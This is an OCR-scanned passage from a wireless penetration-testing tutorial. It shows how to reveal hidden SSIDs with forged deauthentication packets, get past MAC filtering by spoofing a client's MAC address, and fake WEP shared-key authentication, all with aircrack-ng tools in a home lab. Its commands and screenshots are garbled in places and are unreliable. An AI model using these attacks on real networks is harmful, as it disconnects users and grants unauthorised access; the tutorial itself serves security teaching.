NB20 Bo Be BO bo Tt ti fi tf ff ff 88 21 91 d? Ge 25 iC eee gael eaae 
HAS A 1 Ol] A? Ae 75 6 Aa A Al 3b 46 8 6A A GA | * 0 iF 








inerpretatan al tag lian mgt tag... ]Packete: U4 Craglayed: 560 Marked: 0 
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4. \norder to bypass Beacon frames, we will first use the passive technique of waiting 
for a legitimate client to connect the access point. This will generate probe request 
and probe response packets that will contain the SSID of the network, thus revealing 
its presence: 





mont: Caphuring - Wireshark Si a 
Bie Edit View Go Captund Andee Statice Help 


SOOM BAXta eS HF LSE 228 BUS BS 


fi?) fkerfwhan.addr == 60; tbraa:dSredrOt = a} Expression... A hear Cr 












fie [ome __[snuce «damnation ‘renee [ne 

st085 rae E 343951 60: fh: ry dS eA a1 Broadcast IEEE Bo Probe Request , She 2065, FN= Q, Flags= pease thi C, SsiDe" Wireless Lab" | 
344906 D-Link oa; be s25 BR Medd: ed: A] 1EBE He? Probe Response SWe2to], Pee, Plagses,......0, Bbelge, Shlbe"wireless: Lif 

54093 2338, 662194 60: fbi42:05: ad: ‘al OD: Link a2 Bes 25 TEBE 882 Authentication, SNe2do6, FNee, Flags=........¢ 

54095 2338. 604689 0-Link_d2;8e:25 60: fb:d2:d5:e4:01 TEBE 802 Authentication, SNezGed, FWeG, Flagse........ c 

SHOSE SIF .652994 60: fb:d21d5:e4201 D-Link _d2:8e:25 TEBE 802 Assoc lation Request, SWe2G67, FNed, FlagSe.......- C, S51De"Wireless Lab’ | 

Sal 2338. 6556896 0-Link d2:8e:25 6G: fro: dS:e4:07 IEEE 802 Assoclation Response, SNe2066, FNel, Flagse........ C 

G4107 2333.919856 60: fb:42:45:64:01 D-Link d2:8e:25 TERE 802 Prebe Request, SN<2068, FN-G, Flage= Reed oe Cc, SSID-"Wireless Lab" 

54109 2339 .921855 0-Link_d2:8¢:25 6G: fbi42:d5:64:0] TEBE 802 Probe Response, SN= 2069, FN=8, FLAGS=.4 05645 “C, BI=108, SS1De"Wwireless L | 


54465 2545 .555156 66; fo:d2:d5;e4-01 O-Link d2;8e:25 TEEE 662 G05 Null function {No data), SN=G, FNeG, Flags-.,.P.,..TC 
* Frane 54066 (369 bytes on wire, 359 bytes captured) 
* Radietap Header vi, Length 32 
+ IEEE 802.11 Probe Aesponse, Flage: ........€ 
7 [EEE 862.11 wireless LAN management frame 
* Fixed parameters (12 bytes} 
* Tagged paraneters (237 bytes) 
7 S10 parameter set: “Wireless Lan" 
Tag Number: @ (S510 parameter set) 
Tag length: 12 
Tag Lnterpretetlon: Wireless Lab 
b Supported Rates: 1,618) 2.08(8) &.5(B) 11.0(8) 
0S Parameter set: Current Channel: 11 
’ ERP Information: no Non-ERP STAs, do not use protection, short or Long presanbles 
b Extended Supported Aster: 6.0 9.8 127.0 18.8 24.0 36.6 48,0 54.0 
’ Vendor Specific: we 
b Yendor Specific: HT Capabilities (802.11n D1.16) 
» Vendor Specific: HT Additionsl Capablilties (862.11n 01.60) 
PHT Cananilities (Ae?.1in 01.1 een =i 














od Bo 21 G4 8o Gc Ga 65 6c 65 F3 i abc 1.'., 2S 

mee 1 Ob Be Be bb 95 Og B] bs 28 ey o0 32 og wick aa es j 
ac 12 TE 24 350 48 60 6c dd 18 66 3 f2 O2 61 61 ara OH LL accePe ces 
OR 80 83 ad 80 68 27 44 8h BA ADP 49 Se BA AP SD eee | ae Fo = 





pee ET ot hag (elom_rregt tag... 


Packels: 70250 Displayed: 217 Marked: 0 [Protebeak Ci 
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5. Alternately, you can use the aireplay-ng utility to send deauthentication packets 
to all stations on behalf of the Wireless Lab access point by typing aireplay-ng 
-0 5 -a <mac> --ignore-negative mono, where <macs> is the MAC address 
of the router. The -0 option is used to choose a deauthentication attack, and 5 is the 
number of deauthentication packets to send. Finally, -a specifies the MAC address 
of the access point you are targeting: 


root@kali: ~ 


File Eqit View Search Terminal Help 
i~# alreplay-ng -@ 5 -a E8:94:F6:62:1E:8E --ignore-negative-one mong 
19:38:16 Waiting for beacon frame (BSSID: E6:94:Fe:62:1E:8E) on channel -l 
NB: this attack is more effective when targeting 
a connected wireless client [-c <client's mac=). 
19:38:16 Sending DeAuth to broadcast BSSID: -94:F6:62:. 
19:38:1/ Sending DeAuth to broadcast BSSID: 94 -F6:67:. 
19:38:17 Sending DeAuth to broadcast BSSID: 94° F6r62 !: 
19:38:1/ Sending DeAuth to broadcast BSSID: 3:94:F6:67:- 
19:38:18 Sending DeAuth to broadcast BSSID: 94 :F6:627% 








6. The preceding deauthentication packets will force all legitimate clients to disconnect 
and reconnect. It would be a good idea to add a filter for deauthentication packets 
to view them in an isolated way: 





= mont: Capturing « Wireshark | — 


Ale Eat \iew Go Capture Anohee Statistes Help 


BWAAM BAX2S 6923 


fv") citer whan. te, type_subtype om ChOS 


ie. [rime 
14. 762645 D-Link d2:Be;25 Broadcast TEEE 892 Deauthentication, SN=s@, FNef, Flags=........ > 
Fass S roadcast [EEE 4627 Deauthentication, SNe Feo, Flags]....--... 
5 Broadcast EEE 862 Deauthentication FNe®, Flagse......45 
5 Broadcast TEEE 867 Deauthentication, SN=1, FNeO, Flags=........ 
a Broadcast IEEE 892 Deauthentication, SN=2, FNe@, Flags=........ 
Link d#:6e:25 Broadcast IEEE 8607 Deauthentication N= FHS), Fla@gee........ 
c 
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r| 
‘ot 
Broadcast EEE 862 Deauthentication, SN=3, FNef, Flags=........ 
Broadcast TEEE 867 Deauthentication, SN=S, FNEO, Fla@gse........ 
Broadcast EEE 882 Desauthentication 


Lar ] oe 
Link d2:Be:? 


fs 
c= 
Foun Ln un im un 
rom 
‘| 
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rao co ot cr Ce 
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+ Frame 230 (38 bytes on wire, 38 bytes captured) 

b Radiotep Header vO, Length lz 

= TEEE 867.11 Deauthentication, Flags: ...-.... 
Type/Subtype: Deauthentication («8c ) 

F Prame Control: Gx66CO (Normal) 

Duration: 314 
Destination address: Broadcast (ffiff: ff: ff: ft: ff) 
Source address: D-Link d2:Be:25 (Gbr21:91:d2:8e:25) 
BS5 Id: D-Link d2:3e:25 (86:21:91:d2:8e:275) 


Pragment number: &@ 


sequence musber: @ 


* TEEE 862.11 wireless LAN management frame 





hk alt ASP 


J Profile: Defauk 
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7. The probe responses from the access point will end up revealing its hidden SSID. 
These packets will show up on Wireshark as shown next. Once the legitimate clients 
connect back, we can see the hidden SSID using the probe request and probe 
response frames. You can use the filter (wlan.bssid == 00:21:91:d2:8e:25) && 
I(wlan.fc.type_subtype == 0x08) to monitor all non-Beacon packets to and fro from 
the access point. The && sign stands for the logical AND operator and the ! sign 
stands for the logical NOT operator: 


{Utekited | = Wires hark 


Ble fdt View Go (capture Anakge Statetics Help 


Sex S ea e+e VFL SR Aaget saws x 


a 
S44.19.10517143 O-Link d2:Be:25 ee ee IEEE 807 Probe Response, SN=s5945, FN=0 Plags=......-.0, Bl=160, SS]D="Wireless Lab” 
298 19. 2568860 66; fb:d?:dh:84:6] D-Link Gt: Be: 2h EEE BG duthentleatian, SNezll4, Fed, Flage= 
SL 1.20/88 S Gb Pbi42idoi e401 DLink G2ite; 2a E 802 Authenticat Lon, SN=2114, PH@G, Flags=...0A. 
Joa 1.29 D-Link _d2iie:2s Ser fei42idsie4:01 [EEE 802 Authentication, SN=3548, FN=O, Flags=.....085 C 
536 19.31313960 66: fb:42:0d5:e4:0] : Link _ dg2:8e 725 EEE 862 Assoclation Request, SNeZ1l15, FNed, Fleags= i, S510e"wWireless Lab" 
S38 19.39160680 D-Link_d#:8e:25 O:fb:42:d5:e4:01 IEEE 82 AssocLation Response, SNe 3549, C 
562 19.56841392 66: fbi42:d5:e4:61 i Link _d2@:8e:25 IEEE 8027 Probe Request, SNeZll6, FNef, Fleagse........ C, SSIs" wWirele 
5643 18.365087 660: fb:42:d5:84:61 D-Link d2:8e:25 [EEE 802 Probe Request, SNe21160, FNeG@, Flagse....R...C, S31De"Wireless Lab" 
565 19. 367879 D- Link_d2:8e:25 GG: fo:d@2:rd5:ad:01 TERE 802 Probe Reepense, SNeS551, FN A, Flags C, BlelOe, S51 De"Wireless Lab" 


t Frame 544 (359 bytes on wire, 369 bytes captured) 
t+ Radiotap Header vi, Length 32 
* [EEE 8027.11 Probe Aesponse, Flags: ........€ 
* [EEE 8G2.11 wireless LAN management frame 
* Fixed parameters (12 bytes) 
= [agged perencters (29/ bytes} 
F S510 parameter set: “Wireless Lab” 
Tag Nunber: @ (SSID parameter s6t) 
Tad Length: 12 
fag interpretation: Wireless Lab 
Supported Rates: 1,6(B) 2.6(B) 5.5(B) 11.0(B) 
0S Parameter set: Currant Channel: 1] 
ERP [nfarmation: mo Non-ERP STAs, doe mot use protectian, short or long preanbles 
Extended Supported Mates: 6.0 9.90 17.0 18.0 44.0 36.0 40,9 34.0 
Vendor i ae ai ME 
Vendor Specific: Hi saitementdebte 2S tees! lin D1. 1a) 
64 60 271 4 OG te EE Ee fa 73 20 4¢ c.!.. 3a 
bl 62 O] Bl 82 B4 Bb Gh Ga ] Ob 24 8] Go a2 ae 
Ge 12 16 24 36 49 60 6 dd 18 OG 50 f2 G2 81 Ol 
/H GA OBO a Ad GG Pe Sy od OR BG ay 44 fe OH AY Se — 
interpretation of tig (elan_omgttag.... J Packets: $45 Detplaped: 61 Marked: 0 Dropped: o ProBle: Detail 





What just happened? 


Even though the SSID is hidden and not broadcasted, whenever a legitimate client tries 
to connect to the access point, they exchange probe request and probe response packets. 
These packets contain the SSID of the access point. As these packets are not encrypted, 
they can be very easily sniffed from the air and the SSID can be found. 


We will cover using probe requests for other purposes such as tracking in a later chapter. 


In many cases, all clients may be already connected to the access point and there may be 
no probe request/response packets available in the Wireshark trace. Here, we can forcibly 
disconnect the clients from the access point by sending forged deauthentication packets 
on the air. These packets will force the clients to reconnect back to the access point, thus 
revealing the SSID. 
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Have a go hero — selecting deauthentication 


In the previous exercise, we sent broadcast deauthentication packets to force reconnection 
of all wireless clients. Try to verify how you can selectively target individual clients using the 
aireplay-ng utility. 


It is important to note that, even though we are illustrating many of these concepts using 
Wireshark, it is possible to orchestrate these attacks with other tools, such as the aircrack- 
ng suite as well. We encourage you to explore the entire aircrack-NG suite of tools and other 
documentation located on their website at http://www. aircrack-ng.org. 


MAC filters are an age-old technique used for authentication and authorization and have 
their roots in the wired world. Unfortunately, they fail miserably in the wireless world. 


The basic idea is to authenticate based on the MAC address of the client. The MAC filter is 
an identification code assigned to a network interface; a router will be able to check this 
code and compare it to a list of approved MACs. This list of allowed MAC addresses will be 
maintained by the network administrator and will be fed into the access point. We will now 
take a look at how easy it is to bypass MAC filters. 


Time for action — beating MAC filters 


Let's follow the instructions to get started: 





1. Let's first configure our access point to use MAC filtering and then add the client 
MAC address of the victim laptop. The settings pages on my router looks as follows: 


TP-LINK’ 


Wireless MAC Filtering 


Wireless MAC Filtering: Enabled Disable 


- Wireless Security Filtering Rules 


« Deny the stations specified by any enabled entries in the list to access. 
-Wireless Advanced Allow the stations specified by any enabled entries in the list to access. 
-Wireless Statistics 
DHCP 
Forwarding 
Security 
Parental Control 
Access Control Add New... Enable All Disable All Delete All 
Advanced Routing 


ID MAC Address Status Description Modify 
1 AA-AA-AA-AA-AA-AA Enabled test Modify Delete 





[44] 


Chapter 3 


2. Once MAC filtering is enabled, only the allowed MAC address will be able to 
successfully authenticate with the access point. If we try to connect to the access 
point from a machine with a non-whitelisted MAC address, the connection will fail. 


3. Behind the scenes, the access point is sending Authentication failure messages to 
the client. The packet trace resembles the following: 


Go) mono: Capturing - Wireshark 


13 


Li 
x 


File Edit View Go Capture Analyze Statistics Help 














SHAM SAXtSr.¢99F FBS AQAA BUBHS 
(WJ Eilter:] (wlan.bssid == 00:21:91:d2:8e:25) && i(wlan.fe | 4p Expression...| & Clear| </ Apply 
YO 4 ~21424 OW. 1O.4 a dado eee AS y= NU BE o | =e Ol) WO VU L] ) VO Udla ’ Y= Uv, V=U, qUS: 
1300 45.971213 60:fb:42:d5:e4:01 D-Link_d2:8e:25 IEEE 802 QoS Null function (No data), SN=71, FN=0, Flags: 
1304 46.094441 60:fb:42:d5:e4:01 D-Link_d2:8e:25 IEEE 802 QoS Null function (No data), SN=72, FN=0, Flags: 
1305 46.096647 £60:fb:42:d5:e4:01 D-Link_d2:8e:25 IEEE 802 QoS Null function (No data), SN=73, FN=0, Flags: 
1390 60.769076 D-Link_d2:8e:25 Alfa_3e:bd:93 IEEE 802 Probe Response, SN=955, FN=0, Flags=........ eS | 
1404 62.623052 D-Link d2:8e:25 Alfa 3e:bd:93 IEEE 802 Authentication, SN=974, FN=0, Flags=........ C 
1406 62.617436 Alfa _3e:bd:93 D-Link_d2:8e:25 IEEE 802 Authentication, SN=11, FN=0, Flags=........ 
141A A? RAIAAGR N-l ink AP-Re-75 Alfa 2e-hd-Q2 TFFF RAP Alithanticatian SN=Q7R FN=A Flanc= C bd 
: >| 


sassaae 


>» Frame 1404 (66 bytes on wire, 66 bytes captured) 

b Radiotap Header vO, Length 32 

b TERE: BG2C7t (AUCHeENET CALTON, FLAGS? ssaccssacwy C 

vy IEEE 802.11 wireless LAN management frame 

vy Fixed parameters (6 bytes) 

Authentication Algorithm: Open System (0) 
Authentication SEQ: 0x0002 
Status code: Unspecified failure (0x0001) 


sasssae 


D020 bo oO 40 Ol OO cO ca se bd 93 OO OT d2 be stearate crane % & 
0030 O00 21 91 d2 Be 25 e0 3c OO OO O2 OO BRMMs) df 47 alice ....£8.G 
0040 Ya 79 .y 

| 
Status of requested event (wlan_m... | Packets: 22464 Displayed: 608 Marked: 0 [ Profile: Default 
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4, \norder to beat MAC filters, we can use airodump-ng to find the MAC addresses 
of clients connected to the access point. We can do this by issuing the airodump- 
ng -c 11 -a --bssid <mac> mon0O command. By specifying the bssid 
command, we will only monitor the access point, which is of interest to us. The -c 
11 command sets the channel to 11 where the access point is. The -a command 
ensures that, in the client section of the airodump-NG output, only clients 
associated and connected to an access point are shown. This will show us all the 
client MAC addresses associated with the access point: 





CH 12 ][ Elapsed: 1 min J[ 2014-11-08 16:41 


SSID PWR Beacons #Data, #/s Ch ENC CIPHER AUTH ESSID 


94: -1E Q 891 5 1 3 54e WEP WEP OPN Wireless Lab 
:7B -77 25 28 @ 11 54e WPAZ2 CCMP PSK everythingwillprobablynotb 
):62:6D -84 22 9 @ 1 54e WPA TKIP PSK Upstairs 
}:9C: -96 2 ) 11 54e WPA2 CCMP PSK BTHub3-R9Q5 


“76:08: -161 9 GC ( 5 45 WPA? CCMP PSK Downstairs 
SSID STATION PWR Rate ost Frames Probe 


ts Pe el oe a ae | o:0F:6E:/0:BD:CB -43 54 -54 

E8:94:F6:62:1E:8E O@@:EE:BD:B3:62:DE -65 @ Fl 43 |Wireless Lab 
(mot associated) 9:1F:62:8F:34:05 GQ) GO oo] é 11 
9C:03:60D:7A:/7/6:CO0 760:10:7A:45:36:61 -/79 le- le E 13 
O6:22:86:62:60:08 5C:Fe-:DCc: 61:14 -&l 18e-36e : 9 





5. Once we find a whitelisted client's MAC address, we can spoof the MAC address 
of the client using the macchanger utility, which ships with BackTrack. You can use 
the macchanger -m <mac> wlan0 command to get this done. The MAC address 
you specify with the -m command option is the new spoofed MAC address for the 
wlano interface: 


root(@kali: ~ 


File Edit View Search Terminal Help 
root@kali:-# ifconfig wlan® down 


root@kali:-# macchanger -m @0:EE:BD:83:62:DE wland 


Permanent MAC: 8@:1f:02:8f:34:d5 (Edimax Technology Co. Ltd.) 
Current MAC: B8O:1T:02:8f:34:d5 (Edimax Technology Co. Ltd.) 
New MAC: @G:ee:bd:83:627:de (unknown) 

root@kali:~# ifconfig wlan@ up 





6. As you can clearly see, we are now able to connect to the access point after spoofing 
the MAC address of a whitelisted client. 
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What just happened? 


We monitored the air using airodump-ng and found the MAC address of legitimate clients 
connected to the wireless network. We then used the macchanger utility to change our 
wireless card's MAC address to match the client's. This fooled the access point into believing 
that we were the legitimate client, and it allowed us access to its wireless network. 


You are encouraged to explore the different options of the airodump-NG utility by going 
through the documentation on their website at http: //www. aircrack-ng.org/doku. 
php?id=airodump-ng. 


The term Open Authentication is almost a misnomer, as it actually provides no 
authentication at all. When an access point is configured to use Open Authentication, 
it will successfully authenticate all clients that connect to it. 


We will now do an exercise to authenticate and connect to an access point using 
Open Authentication. 


Time for action — bypassing Open Authentication 


Let's now take a look at how to bypass Open Authentication: 





1. Weill first set our lab access point Wireless Lab to use Open Authentication. 
On my access point, this is simply done by setting Security Mode to Disable Security: 


TP-LINK’ 


Wireless Security 


® Disable Security 


WPA/WPA2 - Personal(Recommended) 
Version: WPA2-PSK v 
Encryption: AES v 


Wireless Password: 88455808 


(You can enter ASCII characters between 8 and 63 or Hexadecimal characters 
between 8 and 64.) 


Group Key Update Period: 0 Seconds 


(Keep it default if you are not sure, minimum is 30, 0 means no update) 
Parental Control ‘ 
WPA/WPA2 - Enterprise 
Access Control 
Advanced Routing 
Bandwidth Control 


IP & MAC Binding 


Version: Automatic 
Encryption: Automatic 
Radius Server IP: 


Dynamic DNS Radius Port: (1-65535, 0 stands for default port 1812) 


System Tools Radius Password: 
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2. \Wethen connect to this access point using the iwconfig wlanO essid 
Wireless Lab command and verify that the connection has succeeded 
and that we are connected to the access point. 


3. Note that we did not have to supply any username/password/passphrase to 
get through Open Authentication. 


What just happened? 


This is probably the simplest exercise so far. As you saw, there is no barrier to connecting 
to an Open Authentication network and connecting to the access point. 


Shared Key Authentication 


Shared Key Authentication uses a shared secret such as the WEP key to authenticate the 
client. The exact exchange of information is illustrated in the following screenshot (taken 
from www.netgear.com): 


| Client Access _— 
a > si Point * 


1) Authentication Request 








: 2) AP sends Challenge Text 


3) Challenge Response 


ce ee ee ei ees 








The wireless client sends an authentication request to the access point, which responds 
back with a challenge. The client now needs to encrypt this challenge with the shared key 
and send it back to the access point, which decrypts this to check whether it can recover the 
original challenge text. If it succeeds, the client successfully authenticates; if not, it sends an 
authentication failed message. 
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The security problem here is that an attacker passively listening to this entire communication 
by sniffing the air has access to both the plain text challenge and the encrypted challenge. He 
can apply the XOR operation to retrieve the keystream. This keystream can be used to encrypt 
any future challenge sent by the access point without needing to know the actual key. 


The most common form of shared authentication is known as WEP or Wired Equivalent 
Protocol. It is easy to break, and numerous tools have been created over time to facilitate 
the cracking of WEP networks. 


In this exercise, we will learn how to sniff the air to retrieve the challenge and the encrypted 
challenge, retrieve the keystream, and use it to authenticate to the access point without 
needing the shared key. 


Time for action — bypassing Shared Authentication 


Bypassing Shared Authentication is a bit more challenging than the previous exercises, so 
follow the steps carefully: 





1. Let's first set up Shared Authentication for our Wireless Lab network. | have done 
this on my access point by setting the security mode as WEP and Authentication as 
Shared Key: 


TP-LINK 


Status | WPA/WPA2 - Personal(Recommended) 


Quick Setup 

WPS 

Network 

Wireless 

- Wireless Settings 


-Wireless MAC Filtering 
- Wireless Advanced 
- Wireless Statistics 
DHCP 

Forwarding 

Security 

Parental Control 
Access Control 
Advanced Routing 
Bandwidth Control 
IP & MAC Binding 
Dynamic DNS 
System Tools 


Version: 
Encryption: 


Wireless Password: 


Group Key Update Period: 


WPA/WPA2 - Enterprise 
Version: 
Encryption: 
Radius Server IP: 
Radius Port: 
Radius Password: 
Group Key Update Period: 
WEP 
Type: 
WEP Key Format: 
Key Selected 
Key 1: « 
Key 2: 
Key 3: 
Key 4: 


WPA2-PSK v 

AES v 
86455808 

(You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 
0 Seconds 


(Keep it default if you are not sure, minimum is 30, 0 means no update) 


Automatic 


Automatic 


(1-65535. 0 stands for default port 1812) 


(in second, minimum is 30, 0 means no update) 


Automatic v 
Hexadecimal ¥ 
WEP Key Key Type 
| {128bit —¥ 
Disabled ¥ 
Disabled ¥ 
Disabled ¥ 








We do not recommend using the WEP encryption if this device operates in 802.11n mode due to the fact that WEP is not supported by 
802.11n specification 
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2. Let's now connect a legitimate client to this network using the shared key we have 
set in step 1. 


3. \Inorder to bypass Shared Key Authentication, we will first start sniffing packets 
between the access point and its clients. However, we would also like to log the 
entire shared authentication exchange. To do this, we use the airodump-ng 
utility using the airodump-ng monO -c 11 --bssid <mac> -w keystream 
command. The -w option, which is new here, requests Airodump-NG to store the 
packets in a file whose name is prefixed with the word keystream. Incidentally, it 
might be a good idea to store different sessions of packet captures in different files. 
This allows you to analyze them long after the trace has been collected: 


3 ][ Elapsed: 60 s J[ 2014-11-08 16:54 ][ fixed channel mon@: -1l 


PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E 
BO:1F:02:8F:34:05 Q 100 a ¢ : a 5 WEP WEP W 


BSSID STATION PWR Rate Last Frames Probe 








4, Wecan either wait for a legitimate client to connect to the access point or force 
a reconnect using the deauthentication technique used previously. Once a client 
connects and the shared key authentication succeeds, airodump-ng will capture 
this exchange automatically by sniffing the air. An indication that the capture has 
succeeded is when the AUTH column reads WEP. 


5. The captured keystream is stored in a file prefixed with the words keystream file 
in the current directory. In my case, the name of the file is keystream-01-00-21- 
9i=-D2=-6H-25.X0r. 


6. Inorder to fake a shared key authentication, we will use the aireplay-ng tool. 
We runthe aireplay-ng -1 0 -e "Wireless Lab" -y keystream- 
01-00-21-91-D2-8E-25.xor -a <mac> -h AA:AA:AA:AA:AA:AA mono 
command. This aireplay-ng command uses the keystream we retrieved in 
step 5 and tries to authenticate with the access point with SSID Wireless Lab and 
MAC address 00:21:91:D2:8E:25, and uses an arbitrary client MAC address 
AA:AA:AA:AA:AA:AA. Fire up Wireshark and sniff all packets of interest by 
applying awlan.addr == AA:AA:AA:AA:AA:Aa~ filter. We can verify this using 
Wireshark. You should see a trace on the Wireshark screen, as shown in the 
following screenshot: 


7. 
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UUintrtheed ) = Wireshark =_ = 


Ala Eat View Go Capture Araiere Statistics Help 





Bee Bae Xetaea i.esees FLEES aang &€MSBa =z 

fv!) Ger [dwlanaddre == aa: aa: ea:eat eaten) | a Expresaion...| Mk Chea | og” Apply 

fnio.. [time Source Destination Protect [i 
559 28.476433 aaiaaiaaiaaiaaiaa D-Link _d2:8e:25 IEEE 802 Authentication, SN=0, FN=0, Flags=...... 
561 28.485326 O0-Link_d?:de:25 aa laa laa laalaataa IEEE 802 Authentication, SN=2950, Fie, Flags=.. . 
562 28.476454 aaiaaiaaiaaiaaiaa D-Link d2:8a:25 IEEE $02 Authentication, SN=0, FN=0, Flags=..... ; 
563 258.487057 OD-Link_d?:de:25 a4: 88°88 aa) aa: ae IEEE 802 Authentication, SN=2950, FN=0, Flags=.. . 
564 28.489037 D-Laink_dZ:3e:25 aa: aa aa aaiaaiaa IEEE 802 Authentication, SN=2950, FN=0, Flags=... 
565 28.490002 O0-Link_d?:8e:25 aa: aa iaaliaasaataa IEEE 802 Authentication, SN=2950. FeO, Flags=.. . 
566 28.492169 D-Link _d?:8e:25 aa ida iaaiaa:aaiaa IEEE $02 Authentication, SN=2950, FN=0, Flags=... 
567 26.493060 OD-Link_d?:de;25 a8 88° 2a aa aa ae IEEE 802 Authentication, SN=2950, FN=0, Flags=... 
568 28.495134 D-Link_d2Z:3e:25 aa aa aaiaaiaaiaa IEEE 802 Authentication, SN=2950, FN=0, Flags=... 
569 28.4d97262 O0-Link_d?:8e:25 aa laa laa laalaataa IEEE 802 Authentication, SN=e2950. FeO, Flags=.. . 
570 28.498987 D-Link _d?:8e:25 aa ida aaiaaiaaiaa IEEE 802 Authentication, SN=2950, FN=0, Flags=... 
57125.501014 D-Link_d#:de:25 aa: 88°28: 8a) aa) ae IEEE 802 Authentication, SN=2950, FN=0, Flags=... 
5/2 28.502062 D-Link_dZ:de:25 aa: 88:aa:aa:aa:aa IEEE $02 Authentication, SN=2950, FN=0, Flags=,... 

CO + 





* Framé 611 (70 bytes on wire, 70 bytes captured) 
* Radiotap Header v9, Length l2 
* TEEE 802.11 Association Request, Flags: ........ 
* IEEE 802.11 wireless LAN management frame 
= Fixed parameters (4 bytes) 
* Capability Information: O6x6431 
Listen Interval: 9x0064 
* Tagged parameters (30 bytes) 
* 8510 parameter set: “Wireless Lab" 
Tag Number: 0 (SSID parameter set) 





id 60 BO Ge GO G4 HO OO OO G2 GO 18 G6 OO OS aa CL... 
10 OO 21 51 d2 Be 25 aa aa aa aa aa aa OO 21 91 d2 ot eh Pe fis e 
270 Be 25 60 GO 316464 00 GO Ge 5769 7265 6¢ 65 4% .1.d. ..Wirele : 





Filo: *AmpletherOoekOAe" S50 kK. | Packets: 2896 Oesplayed: 105 Marked: 0 Oropped: 0 Profle: Gefauk 


The first packet is the authentication request sent by the aireplay-ng tool to the 
access point: 


(Umtithed) - Wireshark i 
Ble Eqit vine Go Cagture Amayce Statistics Helo 
SeAeeH H=ROxta Veen FZ ES QAQahw@Osezis 
[| Fher:|iwlan.eddr == saraareotaaiaaraal a > Expression...) fb Cloar] o” Apply 





559 28,.476433 88:80:80:88!88;88 . iG 
561 28,485326 O-Link_d2:8e:25 aa aal aa aaiaaias IEEE 802 Authentication, SN=2950, FN=0, Fungeee; 





* Frame 559 (42 bytes on wire, 42 bytes captured) 


* Radiotap Header vO, Length 12 
' TEEE §602.11 Authentication, Flags: .....,. ; 
~ TEEE 802.11 wireless LAN management frame 
* Fixed parameters (6 bytes) 
Authentication Algorithm: Shared key (1) 
Authentication 5E0; 6x0061 
Status code: Successful (6x0006) 







000 68 00 Ge OO 04 86 00 OO G2 00 15 00 BO OO Sa GL iaiaaaias inane 
010 G0 #1 91 d2 Be 25 aa aa 2a aa aa aa OO 271 91 d2 (ae Rg Pa oe es 
O20 Ge 25 09 66 01 60 O01 60 bO OD rhe Tee ae 


Files vompetheroootkineha Ste ke. 











| Packets: 2696 Diuplayed: 105 Marked: 0 Oropped: 0 a Profle: Oefauh 
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8. 





The second packet consists of the access point sending the client challenge text, 
as shown in the following screenshot: 


(Wivtited |) - Wireshark 


ee rt i en er — —— 
SeG@0@ SExXSe Ves vF2Z ES 428F SUBS | 


[i Gter:|/telan.addr == aa:aaceateetaaraa! | } Expression...| Bh cheat og! Apply 


core feneaen [omen [wl 
559 28.476433 aa:aaiaaiaa;aa;aa O-Link_d2:8e:25 TEEE 802 Authentication, SN=0, FN=0, Flags=. 
561 28.465326 O-Link_d2i:8e:25 aa ida; aaiaa\aaiaa TEEE 862 Authentication, SN=2950, FN=G, Flags-.. 








+) 








* Frame 561 (196 bytes on wire, 196 bytes captured) 
* Radiotap Header vO, Length 32 
* IEEE 862.11 Authentication, Flags: 
* IEEE 802.11 wireless LAN management frame 
~ Fixed parameters (6 bytes} 
Authentication Algorithm: Shared key (1) 
Authentication SEQ: Ox0002 
Status code: Successful (9x0000) 
~ Tagged parameters (130 bytes) 
* Challenge text 
Tag Number: 16 (Challange text) 
Tag length: 128 
Tag interpretation: Challenge text: FAE9EEBSSS7E55C7F7 7641305848404 6BR6A59CEADGSES6... 


000 O66 O00 20 OO 2f 4B OO GO Ib SE de 4d 61 OO OO OO 
00160 16 62 Se 69 a6 GO TT G1 GO 66 66 GO OO 66 G6 GG 
0020 bO 60 40 01 aa aa aa aa aa aa OO 71 91 d? Be 25 


Ale: impethencouin ha" S506... J Rackets: 2068 Cieplad: 165 Marked: 0 Dropped: 0 Profle: Getauk 


In the third packet, the tool sends the encrypted challenge to the access point: 


(Uptittied) - Wirsihark ee 
Ble Edt view Go Capture gnalyre Suatistice [belp 


BwKAGe Baxos ese FSS Aaa 






(i phes: iwlan.addr om ‘hice | @ orece, A Cleor off sesly 
le a nna 7 
559 28.833090 aaiaa!aaiaalaataa D-Link d2:8e:25 TEFE 80? Authentication, SN=3. FN=0, Flag s=.p... 2m 


591 28.839319 O-Link_d2:8e:25 88:38; 88: 00; 00: 08 IEEE 802 Authentication. SN=2955, FN=0, Flags=.. 
ey =) 
Fram SEO [181 bytes on wire, 181 bytes captured) 
\* Radiotap Header vG, Length 13 
* TEEE 802.11 Authentication, Flags: .p...... 
~ Data (136 bytes) 
Data: SAAS42F LACAAODZIBCOAGE2B TDESS9G2B4TE44A7 20A4FD7ED... 








0 00 Gd 00 04 80 O2 00 O2 00 G1 00 GO bO 40 3aMMM....... 
1 600 21 91 d? Be 25 aa aa aa an aa aa OO 21 9 coed Para, 








[Frame [rare], Lad byted | Packets: 2806 Cotplayed: 105 Marked: 6 Dropped: o Trrofie: Ovtault 





WT_ WT WW _—#!_—#]{——— [2] 
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10. As the aireplay-ng tool used the derived keystream for encryption, the 
authentication succeeds and the access point sends a success message in 
the fourth packet: 


Ciintithed) = Witiras hark Ti @ 
fle Edt Yew Ge Caplure Anayte Staliticd fjalp 


Bee SHXSS Vee eFS | |=) S 2988 @USe & 








[wl ger: | twlanwaddr w= gataataaraataaiaal “| @& Expression. ia Clear off ancy! 


Ss a ae 


8ai@aia@aiaa:aa IEEE 802 Authentication, SN=2955, FN=0, Flags=. . 





® Frame 591 (66 bytes on wire, 66 bytes captured) 

» Radiotap Header vO, Length 32 

* TEEE 802.11 Authentication, Flags: ........C 

* IEEE 802.11 wireless LAN management frame 

= Fired parameters (6 bytes) 

Authentication Algorithm: Shared key (1) 
Authentication SEQ: Gxb00d 
Status coda: SuccessTul (Ox0000) 





Oo «OO 60 20 OO 2f 48 66 GO 39 cd el 4d 0100 GO 00; 
10 #10 02 98 09 a0 00 Tl 01 00 OO 00 OO OO OO OO WO vice cee 
026 60 00 40 01 aa aa ga ga aa ae OO 21 91 d2 Be 25 eavarace. ame ees 


Fle: Vtmpythencooccahe S50 K.. Jrackets: 2696 Deplayed: 105 Marbed:o Dropped; — Profile: Dea taut 













11. After the authentication succeeds, the tool fakes an association with the access 
point, which succeeds as well: 


(Untied) - Wireshark a 





fe —ct yew ge fapture Bruibys ie ens Eels 
BPOARe HHxXeS Vee HFE ER AAR SMBH E 
